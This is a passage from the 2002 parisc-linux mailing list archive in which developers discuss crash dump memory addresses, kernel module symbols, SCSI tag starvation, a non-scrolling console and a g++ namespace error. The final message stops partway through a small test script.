Message-ID: <20020125062205.0BFAF482A@dsl2.external.hp.com>
References: <3C4E842F.3D36290F@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621007 1585 80.91.229.3 (22 Nov 2014 01:50:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:07 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 24 23:22:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 0BFAF482A; Thu, 24 Jan 2002 23:22:05 -0700 (MST)
In-Reply-To: Message from Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com> 
   of "Wed, 23 Jan 2002 10:36:47 +0100." <3C4E842F.3D36290F@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13863

Bruno Vidal wrote:
> 	Hi
> I start to look a bit more deeply in the dump
> I'm creating. And I found that the physical
> memory start at address 0x0000000010000000.
> Is it normal ? Or do I missed something ?

Uhm...I don't think thats right. All parisc boxes have
physical memory that's zero based. You should be able
to verify this with any HPUX crash dump.

Post where you are getting the data from and perhaps
we can help correct it.

> btw I've added the dump option "s", and by
> default it is /boot/vmlinux. So when palo will
> be able to give us the option, we will have the
> true kernel path directly in the dump header.

That's reasonable - don't forget to query or tell the user
where the vmlinux belongs in case it's not available.

grant



From - Thu Nov 08 21:21:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux header for savecrash.
Date: Thu, 24 Jan 2002 23:30:54 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20020125063054.C4281482A@dsl2.external.hp.com>
References: <Pine.NEB.4.33.0201231118490.942-100000@ganymed.fachschaften.tu-muenchen.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621008 1588 80.91.229.3 (22 Nov 2014 01:50:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andreas Deresch <aderesch@fs.tum.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 24 23:30:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C4281482A; Thu, 24 Jan 2002 23:30:54 -0700 (MST)
In-Reply-To: Message from Andreas Deresch <aderesch@fs.tum.de> 
   of "Wed, 23 Jan 2002 11:23:26 +0100." <Pine.NEB.4.33.0201231118490.942-100000@ganymed.fachschaften.tu-muenchen.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13864

Andreas Deresch wrote:
> > Isn't /vmlinux a symlink to /boot/vmlinux?
> > ie the file palo loaded is whatever the symlink points to.
> Can you guarantee, that everybody will have this link?

Of course not. I'm refering to a default installation.
I delete that link and replace /etc/palo.conf with my own.
But I'm hardly a "regular" user.

> (I for example don't right now - I always thought, this is just for
> historical reasons)


> > BTW, I explicitly specify /boot/vmlinux in my palo.conf files
> > and see 3/boot/vmlinux in my palo command line.
> Which means, /boot is not a separate partition as some people like to keep
> it. So you can't count on that either.

Right. I like to have lots of room for kernels. :^)
And if one wanted to have / as an ext3, it would make
sense to have /boot as an ext2 for loading kernels and then
the / could be the rest of the disk (ignoring the 2GB
IODC limitation).

grant



From - Thu Nov 08 21:21:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dump: pb with module_list
Date: Thu, 24 Jan 2002 23:37:21 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20020125063721.8442E482A@dsl2.external.hp.com>
References: <3C4EFDCC.A4A227F9@admin.france.hp.com>  <20020123220032.GA29047@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621008 1591 80.91.229.3 (22 Nov 2014 01:50:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 24 23:37:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 8442E482A; Thu, 24 Jan 2002 23:37:21 -0700 (MST)
In-Reply-To: Message from Richard Hirst <rhirst@linuxcare.com> 
   of "Wed, 23 Jan 2002 22:00:33 GMT." <20020123220032.GA29047@sleepie.demon.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13865

Richard Hirst wrote:
> > I'm probably missing something, but what ????
> 
> You need to export the symbol for modules to see it.  See
> arch/parisc/kernel/parisc_ksyms.c for example.

And add the export-objs variable to your Makefile.
See drivers/*/Makefile or arch/parisc/kernel/Makefile.

grant



From - Thu Nov 08 21:21:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: tag starvation
Date: Thu, 24 Jan 2002 23:55:01 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <20020125065501.A6537482A@dsl2.external.hp.com>
References: <200201240200.VAA00858@monmouth.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621008 1593 80.91.229.3 (22 Nov 2014 01:50:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:08 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: Vlad Markov <markov@monmouth.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 24 23:55:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A6537482A; Thu, 24 Jan 2002 23:55:01 -0700 (MST)
In-Reply-To: Message from Vlad Markov <markov@monmouth.com> 
   of "Wed, 23 Jan 2002 21:00:15 EST." <200201240200.VAA00858@monmouth.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13866

Follow up to parisc-linux@lists.parisc-linux.org only please.
(ie this isn't a debian linux issue)

Vlad Markov wrote:
> I get the following message when I boot up on a 735/99:
> Jan 22 19:12:41 grumpy kernel: scsi0 (1:0) Target is suffering from tag
>	starvation.

Seems only 53c700.c prints this msg. Is this the right driver?

Normally you shouldn't see this *if* the device supports tagged commands.
I can never remember the SCSI driver options (the parisc-linux FAQ has 
the URL to them) but one of them will either disable or limit 
"queue depth" for Queue Tags and that should take care of it.

BTW, normally you want to post the /proc/scsi/scsi info for
the devices in question.

> The kernel Iam using is:
> Jan 22 19:12:41 grumpy kernel: Linux version 2.4.16-32 (root@paer) (gcc versi
>   on

> 3.0.3) #1 Sat Dec 29 01:28:13 MST 2001
> 
> I suspect this is not a good message - should I worry? 

Panic would be worse ;^)

grant



From - Thu Nov 08 21:21:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] start physical address for 712/100
Date: Fri, 25 Jan 2002 06:58:54 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20020125065854.E30669@parcelfarce.linux.theplanet.co.uk>
References: <3C4E842F.3D36290F@admin.france.hp.com> <bruno_vidal@hpfrcu03.france.hp.com> <20020125062205.0BFAF482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621009 1595 80.91.229.3 (22 Nov 2014 01:50:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:09 +0000 (UTC)
Cc: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 24 23:59:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35C894834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 Jan 2002 23:59:19 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16U0K6-0005sE-00; Fri, 25 Jan 2002 06:58:54 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020125062205.0BFAF482A@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Thu, Jan 24, 2002 at 11:22:05PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13867

On Thu, Jan 24, 2002 at 11:22:05PM -0700, Grant Grundler wrote:
> Bruno Vidal wrote:
> > 	Hi
> > I start to look a bit more deeply in the dump
> > I'm creating. And I found that the physical
> > memory start at address 0x0000000010000000.
> > Is it normal ? Or do I missed something ?
> 
> Uhm...I don't think thats right. All parisc boxes have
> physical memory that's zero based. You should be able
> to verify this with any HPUX crash dump.
> 
> Post where you are getting the data from and perhaps
> we can help correct it.

We start mapping physical ram at address 0x0000000010000000.  So physical
address 0 is mapped at virtual address 0x0000000010000000 when in
the kernel.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] size in module list
Date: Fri, 25 Jan 2002 10:43:05 +0100
Organization: H.P
Lines: 37
Approved: news@gmane.org
Message-ID: <3C5128A9.DEED4EE1@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------0E890295E97DC1283AF0BC0A"
X-Trace: ger.gmane.org 1416621009 1599 80.91.229.3 (22 Nov 2014 01:50:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:09 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 25 02:46:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64863482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Jan 2002 02:46:07 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 2D8C12AC
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Jan 2002 10:46:05 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id KAA04563 for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Jan 2002 10:45:29 +0100 (MET)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13868

This is a multi-part message in MIME format.
--------------0E890295E97DC1283AF0BC0A
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
To do at least a sanity check when retrieving a module object
I try to understand the size store in module structure. What
is it ? Even cksum, neither "size" command find the same information ?
Do you know how this size is calculated ?

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------0E890295E97DC1283AF0BC0A
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------0E890295E97DC1283AF0BC0A--




From - Thu Nov 08 21:21:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: tag starvation
Date: Fri, 25 Jan 2002 09:57:55 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <20020125095755.GH32617@sleepie.demon.co.uk>
References: <200201240200.VAA00858@monmouth.com> <20020125065501.A6537482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621009 1603 80.91.229.3 (22 Nov 2014 01:50:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:09 +0000 (UTC)
Cc: Vlad Markov <markov@monmouth.com>, debian-hppa@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 25 03:08:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 60C4B482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Jan 2002 03:08:27 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 7BEDA9EC5F; Fri, 25 Jan 2002 09:57:55 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20020125065501.A6537482A@dsl2.external.hp.com>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13869

On Thu, Jan 24, 2002 at 11:55:01PM -0700, Grant Grundler wrote:
> 
> Follow up to parisc-linux@lists.parisc-linux.org only please.
> (ie this isn't a debian linux issue)
> 
> Vlad Markov wrote:
> > I get the following message when I boot up on a 735/99:
> > Jan 22 19:12:41 grumpy kernel: scsi0 (1:0) Target is suffering from tag
> >	starvation.
> 
> Seems only 53c700.c prints this msg. Is this the right driver?

Should be; 735 has unsupported 53c720 FWD, and 53c700 or 710 driven by
53c700.c.  I assume Vlad has external narrow SE disks attached.

> Normally you shouldn't see this *if* the device supports tagged commands.

I used to get this a lot, until James changed the driver to only report
the first occurance of it.  Don't remember the exact details, but iirc
it is for info only, and non-fatal.  From the code it looks like it
means some cmnd has been sitting in the drive unprocessed for too long,
and the code rejects new cmds until those older ones have been processed
or timed out.

> I can never remember the SCSI driver options (the parisc-linux FAQ has 
> the URL to them) but one of them will either disable or limit 
> "queue depth" for Queue Tags and that should take care of it.

Hmm, I thought that would be a feature of a specific driver, not the
upper layers.  53c700.c doesn't (yet) have any boot options to disable
tags.

Richard




From - Thu Nov 08 21:21:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FAUCHER,DENNIS (HP-USA,ex1)" <dennis_faucher@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 32-2.4.17-pa03 Kernel Doesn't Scroll
Date: Fri, 25 Jan 2002 10:21:50 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <2F1E6AB90ECAD311943700A0C9E3B15407888693@xatl03.atl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621010 1608 80.91.229.3 (22 Nov 2014 01:50:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 25 08:21:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7BC87482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Jan 2002 08:21:52 -0700 (MST)
Original-Received: from xatlrelay1.atl.hp.com (xatlrelay1.atl.hp.com [15.45.89.190])
	by atlrel8.hp.com (Postfix) with ESMTP id A996DE00673
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Jan 2002 10:21:51 -0500 (EST)
Original-Received: from xatlbh2.atl.hp.com (xatlbh2.atl.hp.com [15.45.89.187])
	by xatlrelay1.atl.hp.com (Postfix) with ESMTP id 85E26413
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Jan 2002 10:21:51 -0500 (EST)
Original-Received: by xatlbh2.atl.hp.com with Internet Mail Service (5.5.2653.19)
	id <CMBX441Q>; Fri, 25 Jan 2002 10:21:51 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13870

Hello,

I just tried the 32-2.4.17-pa03.tar.gz kernel on my 715/100 workstation as a
step to getting X to work, and now the console (HP A1097C) doesn't scroll.
Each line of text covers the previous line on the first line on the console.
The regular 2.4.9-32 kernel scrolls fine.  Any ideas would be appreciated.
Thank you.

Sincerely,
Dennis Faucher
Technical Consultant
Hewlett-Packard Company
https://www.ecardfile.com/id/dennis_faucher (Contact)
http://e-services.hp.com (E-Services) 



From - Thu Nov 08 21:21:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] g++ problem with `std' namespace
Date: Fri, 25 Jan 2002 09:54:46 -0600 (CST)
Lines: 48
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0201250940350.1690-100000@maestro.symsys.com>
References: <2F1E6AB90ECAD311943700A0C9E3B15407888693@xatl03.atl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621010 1612 80.91.229.3 (22 Nov 2014 01:50:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 25 08:54:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maestro.symsys.com (maestro.symsys.com [208.223.9.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 125EA482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Jan 2002 08:54:53 -0700 (MST)
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id JAA02006
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Jan 2002 09:54:46 -0600
In-Reply-To: <2F1E6AB90ECAD311943700A0C9E3B15407888693@xatl03.atl.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13871

I seem to have run into a problem with GCC on parisc-linux which the
script below will demonstrate.  I get an "`fread' undeclared in namespace
`std'" error.  The example works fine on four other architectures, but
they all have gcc 2.95.x while my parisc box has gcc 3.0.x.  Is this a
parisc problem, a gcc problem, or a coder problem?

Regards,

- Greg


#!/bin/sh
cat >foo.cc <<EOF
#include <stdio.h>

class FOO
{
public:
  FOO(void);
  int read(char *, int);

  FILE *fd;
};

FOO::FOO(void)
{
  fd = stdin;
}

